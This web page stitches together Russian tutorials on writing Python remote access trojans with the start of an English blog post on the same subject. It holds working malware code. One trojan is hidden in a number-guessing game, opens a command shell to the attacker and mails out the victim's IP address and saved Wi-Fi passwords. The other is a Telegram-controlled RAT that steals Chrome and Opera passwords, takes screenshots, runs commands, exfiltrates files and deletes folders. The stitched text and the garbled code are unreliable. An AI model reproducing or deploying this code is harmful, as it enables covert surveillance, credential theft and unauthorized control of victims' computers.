Как написать ратник на python

Как написать троян на Python

Содержание

  • 1 Как написать троян на Python
    • 1.1 Определение IP-адреса
    • 1.2 Бэкконнект по почте
    • 1.3 Создание трояна на Python
    • 1.4 Создание WiFi-стилера на Python
  • 2 Заключение

В этой статье я рас­ска­жу, как написать простой троян на Python с уда­лен­ным дос­тупом, а для боль­шей скрыт­ности мы встро­им его в игру. Даже если вы не зна­ете Python, то смо­жете луч­ше понять, как устро­ены такие вре­доно­сы, и поуп­ражнять­ся в прог­рамми­рова­нии.

Еще по теме: Как написать вирус на Python

Ко­неч­но, при­веден­ные в статье скрип­ты совсем не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют вовсе. Тем не менее при желании их воз­можно исполь­зовать для нес­ложных пакос­тей или приколов.

Как написать троян на Python

Итак, что есть тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт и шпионить за пользователем. Подробнее о троянах в статье «Что такое RAT».

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го.

Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.


Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор статьи, ни редак­ция сайта spy-soft.net не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный данным матери­ало­м. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Не забывайте об этом!

Определение IP-адреса

Для начала нам (то есть нашему тро­яну) нуж­но понять, где он ока­зал­ся. Важ­ная часть вашей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

import socket

from requests import get

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у вас отсутс­тву­ют, их нуж­но уста­новить коман­дой
pip.

pip install socket

pip install requests


Ес­ли вы видите ошиб­ку, что у вас отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­тите вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, WiFi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

# Определяем имя устройства в сети

hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP-адрес

local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP-адрес

public_ip = get(‘http://api.ipify.org’).text

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все несколько слож­нее.

Я выб­рал сайт
api.<wbr />ipify.<wbr />org, так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

Ни­ког­да не встре­чал конс­трук­ции типа
print(<wbr />f‘{}<wbr />’)? Бук­ва
f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. А по простому — прог­рам­мные встав­ки пря­мо в стро­ку.


Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это вам на JavaScript!).

Фи­наль­ный код:

import socket

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

print(f‘Хост: {hostname}’)

print(f‘Локальный IP: {local_ip}’)

print(f‘Публичный IP: {public_ip}’)

За­пус­тив этот скрипт, мы смо­жем опре­делить IP-адрес нашего (или чужого) компь­юте­ра.

Бэкконнект по почте

Те­перь напишем скрипт, который будет при­сылать нам пись­мо.

Им­порт новых биб­лиотек (обе нуж­но пред­варитель­но пос­тавить через
pip <wbr />install):

import smtplib as smtp

from getpass import getpass

Пи­шем базовую информа­цию о себе:

# Почта, с которой будет отправлено письмо

email = ‘demo@spy-soft.net’

# Пароль от нее (вместо ***)

password = ‘***’

# Почта, на которую отправляем письмо

dest_email = ‘demo@spy-soft.net’

# Тема письма

subject = ‘IP’

# Текст письма

email_text = ‘TEXT’

Даль­ше сфор­миру­ем пись­мо:

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

Пос­ледний штрих — нас­тро­ить под­клю­чение к поч­товому сер­вису. Я поль­зуюсь Яндекс.Поч­той, поэто­му нас­трой­ки выс­тавлял для нее.

server = smtp.SMTP_SSL(‘smtp.yandex.com’) # SMTP-сервер Яндекса

server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)

server.ehlo(email) # Отправляем hello-пакет на сервер

server.login(email, password) # Заходим на почту, с которой будем отправлять письмо

server.auth_plain() # Авторизуемся

server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)

server.quit() # Отключаемся от сервера

В стро­ке
server.<wbr />ehlo(<wbr />email) мы исполь­зуем коман­ду
EHLO. Боль­шинс­тво сер­веров SMTP под­держи­вают
ESMTP и 
EHLO. Если сер­вер, к которо­му вы пыта­етесь под­клю­чить­ся, не под­держи­вает
EHLO, мож­но исполь­зовать
HELO.

Пол­ный код этой час­ти тро­яна:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

import smtplib as smtp

import socket

from getpass import getpass

from requests import get

hostname = socket.gethostname()

local_ip = socket.gethostbyname(hostname)

public_ip = get(‘http://api.ipify.org’).text

email = ‘demo@spy-soft.net’

password = ‘***’

dest_email = ‘demo@spy-soft.net’

subject = ‘IP’

email_text = (f‘Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}’)

message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

server = smtp.SMTP_SSL(‘smtp.yandex.com’)

server.set_debuglevel(1)

server.ehlo(email)

server.login(email, password)

server.auth_plain()

server.sendmail(email, dest_email, message)

server.quit()

После запуска скрипта, получа­ем пись­мо.

Пись­мо с IP жертвы

Пись­мо с IP

Этот скрипт я про­верил на VirusTotal. Резуль­тат на скри­не.

Написание трояна на Python

Создание трояна на Python

По задум­ке, тро­ян пред­став­ляет собой кли­ент‑сер­верное при­ложе­ние с кли­ентом на машине ата­куемо­го и сер­вером на запус­кающей машине. Дол­жен быть реали­зован мак­сималь­ный уда­лен­ный дос­туп к сис­теме.

Как обыч­но, нач­нем с биб­лиотек:

import random

import socket

import threading

import os

Для начала напишем игру «Уга­дай чис­ло». Тут все край­не прос­то, поэто­му задер­живать­ся дол­го не буду.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Создаем функцию игры

def game():

    # Берем случайное число от 0 до 1000

    number = random.randint(0, 1000)

    # Счетчик попыток

    tries = 1

    # Флаг завершения игры

    done = False

    # Пока игра не закончена, просим ввести новое число

    while not done:

        guess = input(‘Введите число: ‘)

        # Если ввели число

        if guess.isdigit():

            # Конвертируем его в целое

            guess = int(guess)

            # Проверяем, совпало ли оно с загаданным; если да, опускаем флаг и пишем сообщение о победе

            if guess == number:

                done = True

                print(f‘Ты победил! Я загадал {guess}. Ты использовал {tries} попыток.’)

            # Если же мы не угадали, прибавляем попытку и проверяем число на больше/меньше

            else:

                tries += 1

                if guess > number:

                    print(‘Загаданное число меньше!’)

                else:

                    print(‘Загаданное число больше!’)

        # Если ввели не число — выводим сообщение об ошибке и просим ввести число заново

        else:

            print(‘Это не число от 0 до 1000!’)


За­чем столь­ко слож­ностей с про­вер­кой на чис­ло? Мож­но было прос­то написать:

guess <wbr />= <wbr />int(<wbr />input(<wbr />‘Введите <wbr />число: <wbr />’)<wbr />)

Если бы мы написа­ли так, то при вво­де чего угод­но, кро­ме чис­ла, выпада­ла бы ошиб­ка, а это­го допус­тить нель­зя, так как ошиб­ка зас­тавит прог­рамму оста­новить­ся и обру­бит соеди­нение.

Вот код нашего тро­яна. Ниже мы будем раз­бирать­ся, как он работа­ет, что­бы не про­гова­ривать заново базовые вещи.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Создаем функцию трояна

def trojan():

    # IP-адрес атакуемого

    HOST = ‘192.168.2.112’

    # Порт, по которому мы работаем

    PORT = 9090

    # Создаем эхо-сервер

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    client.connect((HOST, PORT))

    while True:

        # Вводим команду серверу

        server_command = client.recv(1024).decode(‘cp866’)

        # Если команда совпала с ключевым словом ‘cmdon’, запускаем режим работы с терминалом

        if server_command == ‘cmdon’:

            cmd_mode = True

            # Отправляем информацию на сервер

            client.send(‘Получен доступ к терминалу’.encode(‘cp866’))

            continue

        # Если команда совпала с ключевым словом ‘cmdoff’, выходим из режима работы с терминалом

        if server_command == ‘cmdoff’:

            cmd_mode = False

        # Если запущен режим работы с терминалом, вводим команду в терминал через сервер

        if cmd_mode:

            os.popen(server_command)

        # Если же режим работы с терминалом выключен — можно вводить любые команды

        else:

            if server_command == ‘hello’:

                print(‘Hello World!’)

        # Если команда дошла до клиента — выслать ответ

        client.send(f‘{server_command} успешно отправлена!’.encode(‘cp866’))

Сна­чала нуж­но разоб­рать­ся, что такое сокет и с чем его едят. Сокет прос­тым язы­ком — это условная вил­ка или розет­ка для прог­рамм. Сущес­тву­ют кли­ент­ские и сер­верные сокеты: сер­верный прос­лушива­ет опре­делен­ный порт (розет­ка), а кли­ент­ский под­клю­чает­ся к сер­веру (вил­ка). Пос­ле того как уста­нов­лено соеди­нение, начина­ется обмен дан­ными.

Следующая стро­ка:

client <wbr />= <wbr />socket.<wbr />socket(<wbr />socket.<wbr />AF_INET, <wbr />socket.<wbr />SOCK_STREAM)

соз­дает эхо‑сер­вер (отпра­вили зап­рос — получи­ли ответ).
AF_INET озна­чает работу с IPv4-адре­саци­ей, а 
SOCK_STREAM ука­зыва­ет на то, что мы исполь­зуем TCP-под­клю­чение вмес­то UDP, где пакет посыла­ется в сеть и далее не отсле­жива­ется.

Стро­ка:

client.<wbr />connect((<wbr />HOST, <wbr />PORT)<wbr />)

ука­зыва­ет IP-адрес хос­та и порт, по которым будет про­изво­дить­ся под­клю­чение, и сра­зу под­клю­чает­ся.

Фун­кция
client.<wbr />recv(<wbr />1024) при­нима­ет дан­ные из сокета и явля­ется так называ­емым «бло­киру­ющим вызовом». Смысл такого вызова в том, что, пока коман­да не передас­тся или не будет отвер­гну­та дру­гой сто­роной, вызов будет про­дол­жать выпол­нять­ся. 1024 — это количес­тво задей­ство­ван­ных бай­тов под буфер при­ема.

Нель­зя будет при­нять боль­ше 1024 байт (1 Кбайт) за один раз, но нам это и не нуж­но: час­то вы руками вво­дите в кон­соль боль­ше 1000 сим­волов? Пытать­ся мно­гок­ратно уве­личить раз­мер буфера не нуж­но — это зат­ратно и бес­полез­но, так как нужен боль­шой буфер при­мер­но раз в никог­да.

Ко­ман­да
decode(<wbr />‘cp866’) декоди­рует получен­ный бай­товый буфер в тек­сто­вую стро­ку сог­ласно задан­ной кодиров­ке (у нас 866). Но почему имен­но
cp866? Зай­дем в коман­дную стро­ку и вве­дем коман­ду
chcp.

Те­кущая кодовая стра­ница

Те­кущая кодовая стра­ница

Ко­диров­ка по умол­чанию для рус­ско­гово­рящих устрой­ств — 866, где кирил­лица добав­лена в латини­цу. В англо­языч­ных вер­сиях сис­темы исполь­зует­ся обыч­ный Unicode, то есть
utf8 в Python. Мы же говорим на рус­ском язы­ке, так что под­держи­вать его нам прос­то необ­ходимо.


При желании кодиров­ку мож­но поменять в коман­дной стро­ке, наб­рав пос­ле
chcp ее номер. Юни­код име­ет номер 65001.

При при­еме коман­ды нуж­но опре­делить, не слу­жеб­ная ли она. Если так, выпол­няем опре­делен­ные дей­ствия, ина­че, если вклю­чен тер­минал, перенап­равля­ем коман­ду туда. Недос­таток — резуль­тат выпол­нения так и оста­ется необ­работан­ным, а его хорошо бы отправ­лять нам. Это будет вам домаш­ним задани­ем: реали­зовать эту фун­кцию мож­но от силы минут за пят­надцать, даже если гуг­лить каж­дый шаг.

Ре­зуль­тат про­вер­ки кли­ента на VirusTotal порадо­вал.

Создание трояна на Питон

Ба­зовый тро­ян написан, и сей­час мож­но сде­лать очень мно­гое на машине ата­куемо­го, ведь у нас дос­туп к коман­дной стро­ке. Но почему бы нам не рас­ширить набор фун­кций? Давайте еще пароли от WiFi!

Создание WiFi-стилера на Python

За­дача — соз­дать скрипт, который из коман­дной стро­ки узна­ет все пароли от дос­тупных сетей Wi-Fi.

Прис­тупа­ем. Импорт биб­лиотек:

import subprocess

import time

Мо­дуль
subprocess нужен для соз­дания новых про­цес­сов и соеди­нения с потока­ми стан­дар­тно­го вво­да‑вывода, а еще для получе­ния кодов воз­вра­та от этих про­цес­сов.

Итак, скрипт для извле­чения паролей WiFi:

# Создаем запрос в командной строке netsh wlan show profiles, декодируя его по кодировке в самом ядре

data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

# Создаем список всех названий всех профилей сети (имена сетей)

WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

# Для каждого имени…

for WiFi in WiFis:

    # …вводим запрос netsh wlan show profile [ИМЯ_Сети] key=clear

    results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

    # Забираем ключ

    results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

    # Пытаемся его вывести в командной строке, отсекая все ошибки

    try:

        print(f‘Имя сети: {Wi-Fi}, Пароль: {results[0]}’)

    except IndexError:

        print(f‘Имя сети: {Wi-Fi}, Пароль не найден!’)

Вве­дя коман­ду в коман­дной стро­ке:

netsh <wbr />wlan <wbr />show <wbr />profiles

Mы получим сле­дующее.

netsh wlan show profiles

netsh wlan show profiles

Ес­ли рас­парсить вывод выше и под­ста­вить имя сети в коман­ду:

netsh <wbr />wlan <wbr />show <wbr />profile [<wbr />имя <wbr />сети] <wbr />key=clear

Резуль­тат будет как на кар­тинке. Его мож­но разоб­рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear

netsh wlan show profile ASUS key=clear
RAT Python. Результат VirusTotal
Результат VirusTotal

Ос­талась одна проб­лема: наша изна­чаль­ная задум­ка была заб­рать пароли себе, а не показы­вать их поль­зовате­лю. Испра­вим же это.

До­пишем еще один вари­ант коман­ды в скрипт, где обра­баты­ваем наши коман­ды из сети.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

if server_command == ‘Wi-Fi’:

    data = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profiles’]).decode(‘cp866’).split(‘n’)

    WiFis = [line.split(‘:’)[1][1:1] for line in data if «Все профили пользователей» in line]

    for WiFi in WiFis:

        results = subprocess.check_output([‘netsh’, ‘wlan’, ‘show’, ‘profile’, WiFi, ‘key=clear’]).decode(‘cp866’).split(‘n’)

        results = [line.split(‘:’)[1][1:1] for line in results if «Содержимое ключа» in line]

        try:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password: {results[0]}’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()

        except IndexError:

            email = ‘mail@yandex.ru’

            password = ‘***’

            dest_email = ‘demo@demo.ru’

            subject = ‘Wi-Fi’

            email_text = (f‘Name: {Wi-Fi}, Password not found!’)

            message = ‘From: {}nTo: {}nSubject: {}nn{}’.format(email, dest_email, subject, email_text)

            server = smtp.SMTP_SSL(‘smtp.yandex.com’)

            server.set_debuglevel(1)

            server.ehlo(email)

            server.login(email, password)

            server.auth_plain()

            server.sendmail(email, dest_email, message)

            server.quit()


Этот скрипт прост как два руб­ля и ожи­дает уви­деть рус­ско­языч­ную сис­тему. На дру­гих язы­ках это не сра­бота­ет, но испра­вить поведе­ние скрип­та мож­но прос­тым выбором раз­делите­ля из сло­варя, где ключ — обна­ружен­ный на компь­юте­ре язык, а зна­чение — тре­буемая фра­за на нуж­ном язы­ке.

Все коман­ды это­го скрип­та уже под­робно разоб­раны, так что я не буду пов­торять­ся, а прос­то покажу скрин­шот из сво­ей поч­ты.

Троян на Python отработал

Троян на Python отработал

Доработки

Ко­неч­но, тут мож­но дорабо­тать при­мер­но все — от защиты канала переда­чи до защиты самого кода нашего вре­доно­са. Методы свя­зи с управля­ющи­ми сер­верами зло­умыш­ленни­ка тоже обыч­но исполь­зуют­ся дру­гие, а работа вре­доно­са не зависит от язы­ка опе­раци­онной сис­темы.

И конеч­но, сам троян очень желатель­но упа­ковать с помощью PyInstaller, что­бы не тянуть с собой на машину жер­твы питон и все зависи­мос­ти. Игра, которая тре­бует для работы уста­новить модуль для работы с поч­той, — что может боль­ше вну­шать доверие?

Заключение

Се­год­няшний тро­ян нас­толь­ко прост, что его никак нель­зя наз­вать боевым. Тем не менее он полезен для изу­чения основ язы­ка Python и понима­ния алго­рит­мов работы более слож­ных вре­донос­ных прог­рамм. Мы наде­емся, что вы ува­жаете закон, а получен­ные зна­ния о тро­янах вам никог­да не понадо­бят­ся.

В качес­тве домаш­него задания рекомен­дую поп­робовать реали­зовать двус­торон­ний тер­минал и шиф­рование дан­ных хотя бы с помощью XOR. Такой тро­ян уже будет куда инте­рес­нее, но, безус­ловно, исполь­зовать его in the wild мы не при­зыва­ем. Будьте акку­ратны и не делайте глупостей!

Еще по теме: Как создать троян для Android

Админ

 

Регистрация: 01.01.2020

Сообщений: 5,644

Репутация:

 



 

Business Level: 25 ?

Отправить личное сообщение для Admin

Свой RAT на python.



Привет, хацкер, задумывался когда нибудь как создать свой РАТник? Если да, то эта статья для тебя.

Перед тем, как мы начнём писать РАТник, расскажу о его функционале:

  • Управление через телеграм бота.
  • Получение паролей с браузеров: Chrome, Opera.
  • Информация о ПК.
  • Завершение процесса по имени.
  • Выполнить комадну в CMD.
  • Открыть URL в браузере. Загрузка файла с ПК жертвы.
  • Получение текущей директории.
  • Удаление папок на ПК.
  • Получение скриншота экрана жертвы.

Этап I. Настройка бота.

Для начала мы должны создать нашего бота, в этом нам поможет

@BotFather, запускаем с ним диалог и создаем нового бота, которому мы

должны придумать имя с окончанием «_bot». После BotFather выдаст нам token для управления нашим ботом.

Замазал токен и ссылку на бота.
Теперь переходим к другому боту — @userinfobot запускаем бота и видим наш Chat ID:

Id — Chat ID

Этап II. Установка библиотек.

Из стороних библиотек python’a нам потребуется: telebot (для работы с ботом, обработки команд) и sqlite3 (для получения паролей)

Устанавливаем, введя команду в консоли:

Код:
pip install pyTelegramBotAPI pip install pywin32 или pip install win32crypt pip install telebot Этап III. Функционал бота. Код.

Для начала импоритруем все нужные библиотеки. Комментарии к коду отмечены так: # Я комментарий

Код:
import telebot # Для работы с ботом import os # Для работы с директориями / файлами import requests # Для отправки документов / скринов from PIL import ImageGrab # Для получения скриншота import shutil # Для копирования файлов Login Data import sqlite3 # Для работы с БД, где хранятся пароли import win32crypt # Для расшифровки паролей import subprocess # Для завершения процесса import platform # Для получения информации о ПК import webbrowser # Для открытия ссылки в браузере Теперь создаём переменные для бота:

Код:
bot_token = «XXXXX:XXXXXXXXXX» # Токен от бота chat_id = «XXXXXXXXX» # ID чата bot = telebot.TeleBot(bot_token) # Дополнительная переменная для обработки командa:

Перейдём к обработке первой команды — /start:
Код:
@bot.message_handler(commands=[‘start’, ‘Start’]) # Ждём команды Start / start def send_message(command): # Если команду выполнили bot.send_message(chat_id, «☣ Exodus-RAT Running ☣» + «nnЧтобы узнать команды введи команду /commands» + «nCoded by 3xpl01t | @darkside_team») # Посылаем сообщение Ну и сразу добавим обработку команды /commands:

Код:
@bot.message_handler(commands=[‘help’, ‘commands’, ‘Help’, ‘Commands’]) # КОМАНДЫ def send_message(command): bot.send_message(chat_id, «Команды: n /Screen — Скриншот экрана n /Info — Инфо о юзере n /kill_process name.exe — Убить процесс по имени» + «n /Pwd — Узнать текущую директорию n /passwords chrome — Пароли гугл хром n /passwords opera — Пароли опера» + «n /Cmd command — Выполнить команду в cmd n /Open_url — Открыть ссылку n /Ls — все папки и файлы в директории» + «n /Cd folder — перейти в папку n /Download — скачать файл n /Rm_dir — удалить папку» + «nn /About — о RAT’e»)
Сделаем обработку команды /Screen для получения скриншота экрана:
Код:
@bot.message_handler(commands=[‘screen’, ‘Screen’]) # Ждём команды def send_screen(command) : bot.send_message(chat_id, «Wait…») # Отправляем сообщение «Wait…» screen = ImageGrab.grab() # Создаём переменную, которая равна получению скриншота screen.save(os.getenv(«APPDATA») + ‘\Sreenshot.jpg’) # Сохраняем скриншот в папку AppData screen = open(os.getenv(«APPDATA») + ‘\Sreenshot.jpg’, ‘rb’) # Обновляем переменную files = {‘photo’: screen} # Создаём переменную для отправки POST запросом requests.post(«https://api.telegram.org/bot» +
Теперь будем получать пароли, для этого создадим две отдельные функции, которые после команды вызовем и отправим файл с паролями.

P.S Функцию стиллинга взял со статьи по кодингу стиллера на python’e, глянь.
Google Chrome:
Код:
def Chrome(): text = ‘Stealer coded by @darkside_teamnnnPasswords Chrome:’ + ‘n’ if os.path.exists(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data’): shutil.copy2(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data’, os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data2’) conn = sqlite3.connect(os.getenv(«LOCALAPPDATA») + ‘\Google\Chrome\User Data\Default\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: text += ‘nURL: ‘ + url + ‘nLOGIN: ‘ + login + ‘nPASSWORD: ‘ + password + ‘n’ return text file = open(os.getenv(«APPDATA») + ‘\passwords_chrome.txt’, «w+») # file.write(str(Chrome()) + ‘n’) file.close() Opera:
Код:
def Opera(): texto = ‘Stealer coded by @darkside_teamnnnPasswords Opera:’ + ‘n’ texto += ‘URL | LOGIN | PASSWORD’ + ‘n’ if os.path.exists(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data’): shutil.copy2(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data’, os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data2’) conn = sqlite3.connect(os.getenv(«APPDATA») + ‘\Opera Software\Opera Stable\Login Data2’) cursor = conn.cursor() cursor.execute(‘SELECT action_url, username_value, password_value FROM logins’) for result in cursor.fetchall(): password = win32crypt.CryptUnprotectData(result[2])[1].decode() login = result[1] url = result[0] if password != »: texto += ‘nURL: ‘ + url + ‘nLOGIN: ‘ + login + ‘nPASSWORD: ‘ + password + ‘n’ file = open(os.getenv(«APPDATA») + ‘\passwords_opera.txt’, «w+») file.write(str(Opera()) + ‘n’) file.close()
Функции стиллинга готовы, теперь обработаем коммаду /passwords:
Код:
@bot.message_handler(commands=[‘passwords’, ‘Passwords’]) # ПАРОЛИ def send_passwords(message) : if («{0}».format(message.text) == «/passwords chrome») : # Если сообщение /passwords chrome try: # Пробуем Chrome() # Вызываем функцию bot.send_message(chat_id, «Wait…») files = {‘document’: open(os.getenv(«APPDATA») + ‘\passwords_chrome.txt’,’rb’)} requests.post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id , files=files) except: # Если есть ошибки bot.send_message(chat_id, «Ошибка! Браузер запущен!») elif («{0}».format(message.text) == «/passwords opera») : # ИначеЕсли текст /passwords opera Opera() bot.send_message(chat_id, «Wait…») files = {‘document’: open(os.getenv(«APPDATA») + ‘\passwords_opera.txt’,’rb’)} requests.post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id , files=files) else : # Иначе bot.send_message(chat_id, «Ошибка! Команда введена неправильно!»)
Теперь сделаем обработку команды /Info для получения информации:
Код:
@bot.message_handler(commands=[‘info’, ‘Info’]) # ИНФОРМАЦИЯ def send_info(command) : username = os.getlogin() # Получаем имя пользователя r = requests.get(‘http://ip.42.pl/raw’) # Делаем GET запрос, чтобы узнать внешний IP IP = r.text # Объявляем переменную IP windows = platform.platform() # Получаем версию Windows processor = platform.processor() # Получаем характеристики процессора bot.send_message(chat_id, «PC: » + username + «nIP: » + IP + «nOS: » + windows + «nProcessor: » + processor) # Отправляем сообщение с данными
Обработка команды /pwd:
Код:
@bot.message_handler(commands=[‘pwd’, ‘Pwd’]) # ДИРЕКТОРИЯ def pwd(command) : directory = os.path.abspath(os.getcwd()) # Получаем расположение bot.send_message(chat_id, «Текущая дериктория: n» + (str(directory))) # Отправляем сообщение
Обработка команды /kill_process

Код:
@bot.message_handler(commands=[«kill_process», «Kill_process»]) # ПРОЦЕССЫ def kill_process(message): Код:
user_msg = «{0}».format(message.text) # Переменная в которой содержится сообщение subprocess.call(«taskkill /IM » + user_msg.split(» «)[1]) # Убиваем процесс по имени bot.send_message(chat_id, «Готово!»)

Обработка команды /cmd
Код:
@bot.message_handler(commands=[«cmd», «Cmd»]) # CMD def cmd_command(message) : Код:
user_msg = «{0}».format(message.text) subprocess.Popen([r’C:\Windows\system32\cmd.exe’, user_msg.split(» «)[1]]) # Запускаем cmd bot.send_message(chat_id, «Готово!»)
Обработка команды /open_url
Код:
@bot.message_handler(commands=[«open_url», «Open_url»]) # ОТКРЫТЬ ССЫЛКУ def open_url(message): Код:
user_msg = «{0}».format(message.text) url = user_msg.split(» «)[1] # Объявляем переменную, в которой содержится url webbrowser.open_new_tab(url) # Открываем ссылку bot.send_message(chat_id, «Готово!»)

Обработка команды /ls
Код:
@bot.message_handler(commands=[«ls», «Ls»]) # ВСЕ ФАЙЛЫ def ls_dir(commands): dirs = ‘n’.join(os.listdir(path=».»)) # Обявим переменную dirs, в которой содержатся все папки и файлы. bot.send_message(chat_id, «Files: » + «n» + dirs)

Обработка команды /cd
Код:
@bot.message_handler(commands=[«cd», «Cd»]) # ПЕРЕЙТИ В ПАПКУ def cd_dir(message): Код:
user_msg = «{0}».format(message.text) path2 = user_msg.split(» «)[1] # Переменная — папка os.chdir(path2) # Меняем директорию bot.send_message(chat_id, «Директория изменена на » + path2)

Обработка команды /download
Код:
@bot.message_handler(commands =[«Download», «download»]) # ЗАГРУЗКА ФАЙЛА def download_file(message): user_msg = «{0}».format(message.text) docc = user_msg.split(» «)[1] # Переменная, в которой содержится имя файла doccc = {‘document’: open(docc,’rb’)} # Переменная для POST запроса requests.post(«https://api.telegram.org/bot» + bot_token + «/sendDocument?chat_id=» + chat_id , files=doccc
Обработка команды /rm_dir
Код:
@bot.message_handler(commands = [«Rm_dir», «rm_dir»]) # УДАЛИТЬ ПАПКУ def delete_dir(message): Код:
user_msg = «{0}».format(message.text) path2del = user_msg.split(» «)[1] # Переменная — имя папка os.removedirs(path2del) # Удаляем папку bot.send_message(chat_id, «Директория » + path2del + » удалена»)

Ну и последняя обработка /About
Код:
@bot.message_handler(commands = [«About», «about»]) # ОПИСАНИЕ def about(commands): bot.send_message(chat_id, «☣ Exodus-RAT v 1.0 ☣ nnCoder: @exploit_dar nSpecial for @darkside_team :3») Последние, что мы добавим — запуск бота:
Код:
bot.polling() Проверяем работоспособность:

http://recordit.co/0k3ijEh9TN
На этом всё, если ты понял, как работает этот РАТ, то доработать его не составит труда. Удачи тебе.

Hello there!

As you probably know I did a post on 7 projects that I consider interesting, you can read more here. Today I will start to post my solutions for these projects. I will try to explain my thought process and share one possible solution. This solution could be changed/improved and I will probably do that 😀 .

Today the project is:

Create a RAT – Remote Access Trojan

This was an amazing project. I’ve never had done something like this before. I had never controlled my own computer from another one, I always wanted to do that. This project allowed me to do some interesting things on my own machine. I did this for Windows target machines but can be easily converted to Linux/MacOS targets. Let’s start!

What is a Remote Access Trojan?

Remote Access Trojan (RAT) is a malware program that introduces a backdoor in a system that allows the attacker to get unauthorized access to the target’s machine to retrieve information or perform several other actions on the machine. This type of programs are usually sent as an email attachment, or in a game. When the user downloads them the system gets compromised allowing the attacker to access the computer remotely. RATs are designed to remain hidden and running in the background to avoid detection. This type of attacks was a common practice in the 90’s. In general this type of attack can be very dangerous. The attacker can get sensitive/private information from the victim, can add a keylogger to the RAT to record key strokes and steal credit card information or passwords, or anything else.

